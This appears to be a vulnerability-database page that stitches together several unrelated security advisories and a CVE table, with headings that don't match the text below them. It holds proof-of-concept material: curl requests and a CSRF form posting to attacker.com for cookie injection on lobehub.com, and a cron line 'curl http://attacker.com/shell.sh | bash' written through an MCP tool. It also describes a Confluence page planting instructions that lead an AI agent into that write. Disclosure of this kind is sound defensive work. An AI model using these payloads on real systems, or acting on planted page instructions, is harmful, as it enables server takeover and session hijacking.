Red Hat Security Advisory: go-toolset:rhel8 security update

bw-calendar-engine version <= bw-calendar-engine-3.12.0 contains a XML External Entity (XXE) vulnerability in IscheduleClient XML Parser that can result in Disclosure of confidential data, denial of service, SSRF, port scanning. This attack appear to be exploitable via Man in the Middle or malicious server.

## Unauthenticated SSRF in /webapi/proxy allows anyone to proxy requests and inject cookies on lobehub.com

## Summary

The `/webapi/proxy` endpoint on app.lobehub.com accepts a URL in the POST body and fetches it server-side without any authentication. This is the same proxy code that was vulnerable in CVE-2024-32964, where `/api/proxy` was fixed by adding auth middleware. The `/webapi/proxy` route was never secured — it is the only webapi route missing the `checkAuth()` wrapper. An attacker can use this to make arbitrary outbound requests from LobeHub's infrastructure, leak Vercel deployment details, and inject cookies on the `lobehub.com` domain through reflected `Set-Cookie` headers.

## Vulnerability Details

**Type:** Server-Side Request Forgery (CWE-918)
**Affected Endpoint:** POST /webapi/proxy
**Vulnerable File:** `src/app/(backend)/webapi/proxy/route.ts`

The route handler reads a URL from the request body and passes it to `ssrfSafeFetch()` without calling `checkAuth()` first. Every other webapi route (`/webapi/chat/*`, `/webapi/models/*`, `/webapi/create-image/*`) wraps the handler in `checkAuth()`, but the proxy does not. The Next.js middleware also skips `/webapi/` routes — `defaultMiddleware()` calls `NextResponse.next()` for any path starting with `/webapi/`, so neither the route handler nor the middleware performs authentication.

## Steps to Reproduce

**Fetch an external URL through the proxy (no auth, no cookies, no tokens):**

```
curl -X POST -H "Content-Type: text/plain;charset=UTF-8" \
  -d "https://httpbin.org/ip" \
  "https://app.lobehub.com/webapi/proxy"
```
<img width="1069" height="297" alt="image" src="https://github.com/user-attachments/assets/4fa7ffe9-fe4f-4752-875a-cb3fa79c3c18" />

Response:

```json
{"origin": "3.14.141.44"}
```

This is the IP of LobeHub's Vercel serverless function. The proxy fetched httpbin.org and returned the full response body.

**Inject a cookie on the lobehub.com domain:**

```
curl -D- -X POST -H "Content-Type: text/plain;charset=UTF-8" \
  -d "https://httpbin.org/response-headers?Set-Cookie=__session%3Dmalicious%3BPath%3D%2F%3BDomain%3Dlobehub.com%3BSecure%3BHttpOnly" \
  "https://app.lobehub.com/webapi/proxy"
```

The response headers include:

```
set-cookie: __session=malicious;Path=/;Domain=lobehub.com;Secure;HttpOnly
```
<img width="1215" height="340" alt="image" src="https://github.com/user-attachments/assets/f0710685-edb8-4cc9-8162-27f0ba911903" />

The proxy passes upstream response headers straight through (only stripping `Content-Encoding` and `Content-Length`). An attacker controls the upstream server, so they control which `Set-Cookie` headers are reflected. The `__session` and `__clerk_db_jwt` cookies are both injectable — these are the cookie names used by Clerk for authentication.

**CSRF to cookie injection (no user interaction beyond visiting a page):**

An attacker hosts the following HTML. When a victim opens it, the browser submits a form to the proxy, which fetches the attacker's server. The attacker's server responds with a `Set-Cookie` header, and the proxy reflects it. The victim's browser sets the cookie on `lobehub.com` because the response comes from `app.lobehub.com`.

```html
<form id=f action="https://app.lobehub.com/webapi/proxy"
  method=POST enctype="text/plain">
  <input name="https://attacker.com/inject?x" value="">
</form>
<script>f.submit()</script>
```

The attacker's server at `/inject?x=` responds with `Set-Cookie: __session=KNOWN_VALUE; Path=/; Domain=lobehub.com; Secure; HttpOnly`. The proxy reflects this header and the victim's browser stores the cookie.

## Impact

The proxy is fully unauthenticated and returns the complete response from any external URL. I confirmed the following on app.lobehub.com:

An attacker can inject authentication cookies (`__session`, `__clerk_db_jwt`, `__client_uat`) on the `lobehub.com` domain by chaining CSRF with the proxy's reflected `Set-Cookie` headers. If LobeHub uses Clerk for session management, this is a session fixation vector — the attacker sets a known session value before the victim logs in, then uses that same value to access the victim's session.

The proxy also leaks Vercel infrastructure details. The `Traceparent` and `X-Vercel-Id` headers from internal request tracing appear in every proxied response. The server's egress IP is exposed. Vercel Edge Config and the Vercel API are both reachable through the proxy (they return auth errors, not SSRF blocks), which means the proxy reaches Vercel's management plane.

The endpoint has no rate limiting. An attacker can use LobeHub's infrastructure as an anonymous proxy for scanning, phishing, or abusing IP-based trust relationships with third-party services.

## Recommended Fix

Add `checkAuth()` to the proxy route, matching every other webapi route:

```diff
- export const POST = async (req: Request) => {
+ export const POST = checkAuth(async (req, { userId }) => {
```

If the proxy is only needed for client-side URL previews, consider removing the endpoint entirely and handling previews in the browser.

Luanti (formerly Minetest) is an open source voxel game-creation platform. Starting in version 5.0.0 and prior to version 5.15.2, a malicious mod can trivially escape the sandboxed Lua environment to execute arbitrary code and gain full filesystem access on the user's device. This applies to the server-side mod, async and mapgen as well as the client-side (CSM) environments. This vulnerability is only exploitable when using LuaJIT. Version 5.15.2 contains a patch. On release versions, one can also patch this issue without recompiling by editing `builtin/init.lua` and adding the line `getfenv = nil` at the end. Note that this will break mods relying on this function (which is not inherently unsafe).

### Impact
A security bypass vulnerability exists in the expression execution mechanisms of Thymeleaf up to and including 3.1.3.RELEASE. Although the library provides mechanisms to prevent expression injection, it fails to properly restrict the scope of accessible objects, allowing specific potentially sensitive objects to be reached from within a template. If an application developer passes unvalidated user input directly to the template engine, an unauthenticated remote attacker can bypass the library's protections to achieve Server-Side Template Injection (SSTI).

### Patches
This has been fixed in Thymeleaf 3.1.4.RELEASE.

### Workarounds
No workaround is available beyond ensuring applications do not pass unvalidated user input directly to the template engine. Upgrading to 3.1.4.RELEASE is strongly recommended in any case.


### Credits
Thanks to Thomas Reburn (Praetorian) for responsible disclosure.

Frappe is a full-stack web application framework. Prior to versions 14.99.6 and 15.88.1, an authenticated user with specific permissions could be tricked into accessing a specially crafted link. This could lead to a malicious template being executed on the server, resulting in remote code execution. Versions 14.99.6 and 15.88.1 fix the issue. No known workarounds are available.

The agent-to-controller security subsystem limits which files on the Jenkins controller can be accessed by agent processes.

Multiple vulnerabilities in the file path filtering implementation of Jenkins 2.318 and earlier, LTS 2.303.2 and earlier allow agent processes to read and write arbitrary files on the Jenkins controller file system, and obtain some information about Jenkins controller file systems.

SECURITY-2541 / CVE-2021-21694: `FilePath#toURI`, `FilePath#hasSymlink`, `FilePath#absolutize`, `FilePath#isDescendant`, and `FilePath#get*DiskSpace` do not check any permissions.

We expect that most of these vulnerabilities have been present since [SECURITY-144 was addressed in the 2014-10-30 security advisory](https://www.jenkins.io/security/advisory/2014-10-30/).

Jenkins 2.319, LTS 2.303.3 addresses these security vulnerabilities.

SECURITY-2541 / CVE-2021-21694: `FilePath#toURI`, `FilePath#hasSymlink`, `FilePath#absolutize`, `FilePath#isDescendant` check stat permission. `FilePath#get*DiskSpace` methods are no longer allowed to be executed by an agent.

As some common operations are now newly subject to access control, it is expected that plugins sending commands from agents to the controller may start failing. Additionally, the newly introduced path canonicalization means that instances using a custom builds directory ([Java system property jenkins.model.Jenkins.buildsDir](https://www.jenkins.io/doc/book/managing/system-properties/#jenkins-model-jenkins-buildsdir)) or partitioning `JENKINS_HOME` using symbolic links may fail access control checks. See [the documentation](https://www.jenkins.io/doc/book/security/controller-isolation/agent-to-controller/#file-access-rules) for how to customize the configuration in case of problems.

If you are unable to immediately upgrade to Jenkins 2.319, LTS 2.303.3, you can install the [Remoting Security Workaround Plugin](https://www.jenkins.io/redirect/remoting-security-workaround/). It will prevent all agent-to-controller file access using `FilePath` APIs. Because it is more restrictive than Jenkins 2.319, LTS 2.303.3, more plugins are incompatible with it. Make sure to read the plugin documentation before installing it.

Red Hat Security Advisory: golang security update

Mautic before 3.2.4 is affected by stored XSS. An attacker with permission to manage companies, an application feature, could attack other users, including administrators. For example, by loading an externally crafted JavaScript file, an attacker could eventually perform actions as the target user. These actions include changing the user passwords, altering user or email addresses, or adding a new administrator to the system.

### Summary
The `confluence_download_attachment` MCP tool accepts a `download_path` parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to `/etc/cron.d/` achieves code execution within one scheduler cycle with no server restart required).


### Details
 The tool parameter is defined in `src/mcp_atlassian/servers/confluence.py:~1275` without any path restriction:

  ```python
  download_path: Annotated[
      str,
      Field(
          description=(
              "Full path where the file should be saved. Can be absolute or relative. "
              "Examples: './downloads/report.pdf', '/tmp/image.png', 'C:\\\\temp\\\\file.docx'. "
              "Parent directory will be created if it doesn't exist."
          )
      ),
  ],

 The implementation at src/mcp_atlassian/confluence/attachments.py:183–200:

  if not os.path.isabs(target_path):
      target_path = os.path.abspath(target_path)  # normalizes path, no restriction

  os.makedirs(os.path.dirname(target_path), exist_ok=True)  # creates any directory
  with open(target_path, "wb") as f:                        # writes to any writable path
      for chunk in response.iter_content(chunk_size=8192):
          f.write(chunk)

 os.path.abspath() converts relative paths to absolute but performs no directory boundary check. No configurable base download directory is enforced. There is no validation between the tool parameter and the file write. The same issue exists in download_content_attachments via its target_dir parameter (src/mcp_atlassian/servers/confluence.py:~1389).


### PoC
Prerequisites: Confluence credentials with access to at least one page. To control the written file content, upload a malicious attachment to any Confluence page you have write access to.
 
Step 1 — Prepare the payload. Create a file containing a valid cron entry and upload it as a Confluence attachment:

  * * * * * root curl http://attacker.com/shell.sh | bash

Step 2 — Call the tool with a sensitive write target:

  {
      "jsonrpc": "2.0",
      "method": "tools/call",
      "params": {
          "name": "confluence_download_attachment",
          "arguments" : {
              "page_id": "<page id hosting the malicious attachment>",
              "attachment_id": "<attachment id>",
              "download_path": "/etc/cron.d/mcp-backdoor"
          }
      },
      "id": 1
  }

 The attachment content is written verbatim to /etc/cron.d/mcp-backdoor. The system scheduler executes it within one minute with no further attacker action required.
 
Alternative potential write targets demonstrating broader impact:
  - /home/<user>/.ssh/authorized_keys - persistent SSH backdoor
  - <venv>/lib/python3.x/site-packages/<any_imported_module>.py - code execution on next import
  - ~/.bashrc - code execution on next user login
 
### Impact
An attacker who can invoke MCP tools and upload (or access) a Confluence attachment with controlled content can achieve arbitrary code execution on the server host. The MCP HTTP transport endpoints carry no authentication by default, meaning any host that can reach the server's HTTP port can call tools using the server's own embedded Confluence credentials (global fallback). The default HOST=0.0.0.0 binding makes this reachable from the local network without any configuration change.
 
In enterprise deployments where Confluence write access is broadly granted, the effective attacker prerequisite reduces to network access to the MCP HTTP port. This is also reachable without direct network access: a malicious Confluence page can embed LLM instructions directing an AI agent to call confluence_download_attachment with attacker-specified parameters, achieving code execution through the agent as an unwitting intermediary.

Example potential RCE paths:
 1. Cron job injection - write a cron entry to /etc/cron.d/; executes within one scheduler cycle, no restart required
 2. Python package hijack - overwrite any .py module in the application's virtual environment; executes on next import or server restart.
 3. SSH authorized_keys - write an attacker-controlled public key; grants persistent interactive shell access.
 4. Shell profile injection - write to ~/.bashrc or ~/.profile; executes on next user login.

Dokploy is a free, self-hostable Platform as a Service (PaaS). In 0.28.8 and earlier, authenticated OS command injection in the application.updateTraefikConfig tRPC endpoint allows admin/owner users to execute arbitrary system commands on remote servers via unsanitized echo shell interpolation.

CVE ID↕	Published↕	CVSS↓
RHSA-2026:10704	May 6, 2026	Critical 9
CVE-2018-1000836	Dec 20, 2018	Critical 9
GHSA-xmwj-c75x-6346	Jun 16, 2026	Critical 9
CVE-2026-41196	Apr 23, 2026	Critical 9
GHSA-r4v4-5mwr-2fwr	Apr 15, 2026	Critical 9
CVE-2025-68929	Dec 29, 2025	Critical 9
GHSA-pgj6-jmj5-wqfx	May 24, 2022	Critical 9
RHSA-2026:10217	May 6, 2026	Critical 9
GHSA-98j2-3jv7-274m	May 24, 2022	Critical 9
PYSEC-2026-408	Jun 29, 2026	Critical 9
CVE-2026-45630	May 29, 2026	Critical 9

Know every vulnerability
before it knows you.

Critical CVE Vulnerabilities (CVSS 9–10) — DevGuard

Know every vulnerabilitybefore it knows you.

Critical CVE Vulnerabilities (CVSS 9–10) — DevGuard

Know every vulnerability
before it knows you.